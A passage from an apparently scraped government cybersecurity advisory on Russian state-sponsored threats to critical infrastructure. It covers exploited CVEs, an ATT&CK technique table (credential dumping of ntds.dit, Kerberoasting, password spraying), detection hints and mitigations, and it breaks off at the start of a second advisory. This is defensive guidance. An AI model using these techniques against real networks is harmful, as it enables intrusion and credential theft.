Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint Cybersecurity Advisory (CSA)\u2014authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)\u2014is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.\n\nCISA, the FBI, and NSA encourage the cybersecurity community\u2014especially critical infrastructure network defenders\u2014to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.\n\n 1. **Be prepared**. Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.\n 2. **Enhance your organization\u2019s cyber posture**. Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n 3. **Increase organizational vigilance**. Stay current on reporting on this threat. [Subscribe](<https://public.govdelivery.com/accounts/USDHSCISA/subscriber/new?qsp=CODE_RED>) to CISA\u2019s [mailing list and feeds](<https://www.cisa.gov/uscert/mailing-lists-and-feeds>) to receive notifications when CISA releases information about a security topic or threat.\n\nCISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: [Preparing for and Mitigating Cyber Threats](<https://cisa.gov/sites/default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_Potential_Cyber_Threats-508C.pdf>) for information on reducing cyber threats to their organization.\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nHistorically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics\u2014including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security\u2014to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) FortiGate VPNs\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) Cisco router\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) Oracle WebLogic Server\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) Kibana\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) Zimbra software\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) Exim Simple Mail Transfer Protocol\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) Pulse Secure\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) Citrix\n * [CVE-2020-0688 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)Microsoft Exchange\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) VMWare (note: this was a zero-day at time.)\n * [CVE-2020-5902 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)F5 Big-IP\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) Oracle WebLogic\n * [CVE-2021-26855 ](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\nRussian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments\u2014including cloud environments\u2014by using legitimate credentials.\n\nIn some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware. See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:\n\n * ICS Advisory [ICS Focused Malware \u2013 Havex](<https://us-cert.cisa.gov/ics/advisories/ICSA-14-178-01>)\n * ICS Alert [Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-14-281-01B>)\n * ICS Alert [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/IR-ALERT-H-16-056-01>)\n * Technical Alert [CrashOverride Malware](<https://us-cert.cisa.gov/ncas/alerts/TA17-163A>)\n * CISA MAR [HatMan: Safety System Targeted Malware (Update B)](<https://us-cert.cisa.gov/ics/MAR-17-352-01-HatMan-Safety-System-Targeted-Malware-Update-B>)\n * CISA ICS Advisory [Schneider Electric Triconex Tricon (Update B)](<https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02>)\n\nRussian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes:\n\n * **Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020.** Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims.\n * **Russian state-sponsored APT actors\u2019 global Energy Sector intrusion campaign, 2011 to 2018. **These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.\n * **Russian state-sponsored APT actors\u2019 campaign against Ukrainian critical infrastructure, 2015 and 2016.** Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed [BlackEnergy](<https://attack.mitre.org/versions/v10/software/S0089>) malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed [CrashOverride ](<https://attack.mitre.org/versions/v10/software/S0604>)malware specifically designed to attack power grids.\n\nFor more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>).\n\n * Joint FBI-DHS-CISA CSA [Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders](<https://us-cert.cisa.gov/ncas/alerts/aa21-116a>)\n * Joint NSA-FBI-CISA CSA [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)\n * Joint FBI-CISA CSA [Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://www.cisa.gov/uscert/ncas/alerts/aa20-296a>)\n * Joint CISA-FBI CSA [APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n * CISA\u2019s webpage [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * CISA Alert [Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors](<https://us-cert.cisa.gov/ncas/alerts/TA18-074A>)\n * CISA ICS Alert: [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/ir-alert-h-16-056-01>)\n\nTable 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATT&amp;CK for Enterprise framework, version 10. **Note:** these lists are not intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based on public reporting.[[1](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection. \n\n_Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors_\n\nTactic | **Technique** | **Procedure** \n---|---|--- \n \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]\n\n| \n\nActive Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)] \n \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \n \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]\n\n| \n\nRussian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \n \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)\n\n| \n\nDevelop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]\n\n| \n\nRussian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\n| \n\nExploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| \n\nRussian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \n \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]\n\n| \n\nRussian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nCommand and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]\n\n| \n\nRussian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\n| \n\nRussian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]\n\n| \n\nBrute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]\n\n| \n\nRussian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \n \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\n| \n\nRussian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \n \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]\n\n| \n\nRussian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \n \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]\n\n| \n\nRussian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \n \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]\n\n| \n\nRussian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \n \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]\n\n| \n\nRussian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \n \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]\n\n| \n\nProxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]\n\n| \n\nRussian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic. \n \nFor additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&amp;CK for Enterprise pages on [APT29](<https://attack.mitre.org/versions/v10/groups/G0016>), [APT28](<https://attack.mitre.org/versions/v10/groups/G0007>), and the [Sandworm Team](<https://attack.mitre.org/versions/v10/groups/G0034>), respectively. For information on ICS TTPs see the [ATT&amp;CK for ICS](<https://collaborate.mitre.org/attackics/index.php/Main_Page>) pages on the [Sandworm Team](<https://collaborate.mitre.org/attackics/index.php/Group/G0007>), [BlackEnergy 3 ](<https://collaborate.mitre.org/attackics/index.php/software/S0004>)malware, [CrashOveride](<https://collaborate.mitre.org/attackics/index.php/software/S0001>) malware, BlackEnergy\u2019s [KillDisk](<https://collaborate.mitre.org/attackics/index.php/software/S0016>) component, and [NotPetya](<https://collaborate.mitre.org/attackics/index.php/software/S0006>) malware.\n\n### Detection\n\nGiven Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:\n\n * **Implement robust log collection and retention.** Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include: \n * Native tools such as M365\u2019s Sentinel. \n * Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. **Note:** for guidance on using these and other detection tools, refer to CISA Alert [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>).\n * **Look for behavioral evidence or network and host-based artifacts **from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs. \n * To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.\n * To detect use of compromised credentials in combination with a VPS, follow the below steps: \n * Look for suspicious \u201cimpossible logins,\u201d such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * Look for one IP used for multiple accounts, excluding expected logins.\n * Look for \u201cimpossible travel.\u201d Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). **Note:** implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.\n * Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Look for suspicious privileged account use after resetting passwords or applying user account mitigations. \n * Look for unusual activity in typically dormant accounts.\n * Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.\n * For organizations with OT/ICS systems: \n * Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software. \n * Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive.\n\n### Incident Response\n\nOrganizations detecting potential APT activity in their IT or OT networks should:\n\n 1. Immediately isolate affected systems. \n 2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.\n 3. Collect and review relevant logs, data, and artifacts.\n 4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.\n 5. Report incidents to [CISA](<https://www.cisa.gov/uscert/report>) and/or the FBI via your [local FBI field office](<http://www.fbi.gov/contact-us/field>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>).\n\n**Note:** for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. Refer to the Mitigations section for more information.\n\nSee the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) for guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISA\u2019s [Federal Government Cybersecurity Incident and Vulnerability Response Playbooks](<https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf>). Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. \n\n**Note: **organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section). \n\n### Mitigations\n\nCISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.\n\n### Be Prepared\n\n#### _Confirm Reporting Processes and Minimize Coverage Gaps_\n\n * Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.\n * Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are [known to target organizations on weekends and holidays](<https://us-cert.cisa.gov/ncas/alerts/aa21-243a>) when there are gaps in organizational cybersecurity\u2014critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.\n * Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1 for commonly observed TTPs).\n\n#### _Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan_\n\n * Create, maintain, and exercise a cyber incident response and continuity of operations plan.\n * Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions: \n * Do personnel have the access they need?\n * Do they know the processes?\n * For OT assets/networks, \n * Identify a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. \n * Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.\n * Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.\n * Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.\n * In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.\n\n### Enhance your Organization\u2019s Cyber Posture\n\nCISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n\n#### _Identity and Access Management_\n\n * Require multi-factor authentication for all users, without exception.\n * Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.\n * Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials. \n * Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.\n * Disable the storage of clear text passwords in LSASS memory.\n * Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.\n * Implement Credential Guard for Windows 10 and Server 2016 (Refer to [Microsoft: Manage Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>) for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).\n * Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as \u201cKerberoasting\u201d takes advantage of Kerberos\u2019 TGS and can be used to obtain hashed credentials that attackers attempt to crack.\n * Set a [strong](<https://www.us-cert.cisa.gov/ncas/tips/ST04-002>) password policy for service accounts.\n * Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity. \n * Secure accounts.\n * Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.\n * Ensure there are unique and distinct administrative accounts for each set of administrative tasks.\n * Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n\n#### _Protective Controls and Architecture_\n\n * Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Enable strong spam filters. \n * Enable strong spam filters to prevent phishing emails from reaching end users.\n * Filter emails containing executable files to prevent them from reaching end users.\n * Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.\n\n**Note:** CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between\u2014and access to\u2014various subnetworks.\n\n * Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.\n * Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.\n\n#### _Vulnerability and Configuration Management_\n\n * Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. \n * Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program. \n * Consider signing up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>), including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.\n * Use industry recommended antivirus programs. \n * Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.\n * Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.\n * Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.\n * Disable all unnecessary ports and protocols \n * Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.\n * Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.\n * Ensure OT hardware is in read-only mode.\n\n### Increase Organizational Vigilance\n\n * Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.\n\n### Resources\n\n * For more information on Russian state-sponsored malicious cyber activity, refer to [cisa.gov/Russia.](<https://www.us-cert.cisa.gov/russia>)\n * Refer to CISA Analysis Report [Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a>) for steps for guidance on strengthening your organizations cloud security practices.\n * Leaders of small businesses and small and local government agencies should see [CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.\n * Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: \n * NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems\n * CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to [rewardsforjustice.net/malicious_cyber_activity.](<https://www.rewardsforjustice.net/malicious_cyber_activity.html>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.\n\n### References\n\n[[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)\n\n### Revisions\n\nJanuary 11, 2022: Initial Version|January 25, 2022: Updated broken link|February 28, 2022: Updated broken link\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-01T12:00:00", "type": "ics", "title": "Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-03-01T12:00:00", "id": "AA22-011A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-011a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:11", "description": "### Summary\n\n_This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&amp;CK\u00ae) framework. See the [ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v7/matrices/enterprise/>) framework for all referenced threat actor techniques._\n\n**Note:** the analysis in this joint cybersecurity advisory is ongoing, and the information provided should not be considered comprehensive. The Cybersecurity and Infrastructure Security Agency (CISA) will update this advisory as new information is available.\n\nThis joint cybersecurity advisory was written by CISA with contributions from the Federal Bureau of Investigation (FBI). \n\nCISA has recently observed advanced persistent threat (APT) actors exploiting multiple legacy vulnerabilities in combination with a newer privilege escalation vulnerability\u2014[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\u2014in Windows Netlogon. The commonly used tactic, known as vulnerability chaining, exploits multiple vulnerabilities in the course of a single intrusion to compromise a network or application. \n\nThis recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal, and territorial (SLTT) government networks. Although it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.\n\nCISA is aware of some instances where this activity resulted in unauthorized access to elections support systems; however, CISA has no evidence to date that integrity of elections data has been compromised. There are steps that election officials, their supporting SLTT IT staff, and vendors can take to help defend against this malicious cyber activity.\n\nSome common tactics, techniques, and procedures (TTPs) used by APT actors include leveraging legacy network access and virtual private network (VPN) vulnerabilities in association with the recent critical [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon vulnerability. CISA is aware of multiple cases where the Fortinet FortiOS Secure Socket Layer (SSL) VPN vulnerability [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) has been exploited to gain access to networks. To a lesser extent, CISA has also observed threat actors exploiting the MobileIron vulnerability [CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>). While these exploits have been observed recently, this activity is ongoing and still unfolding.\n\nAfter gaining initial access, the actors exploit [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) to compromise all Active Directory (AD) identity services. Actors have then been observed using legitimate remote access tools, such as VPN and Remote Desktop Protocol (RDP), to access the environment with the compromised credentials. Observed activity targets multiple sectors and is not limited to SLTT entities.\n\nCISA recommends network staff and administrators review internet-facing infrastructure for these and similar vulnerabilities that have or could be exploited to a similar effect, including Juniper [CVE-2020-1631](<https://nvd.nist.gov/vuln/detail/CVE-2020-1631>), Pulse Secure [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), Citrix NetScaler [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and Palo Alto Networks [CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>) (this list is not considered exhaustive).\n\nClick here for a PDF version of this report.\n\n### Technical 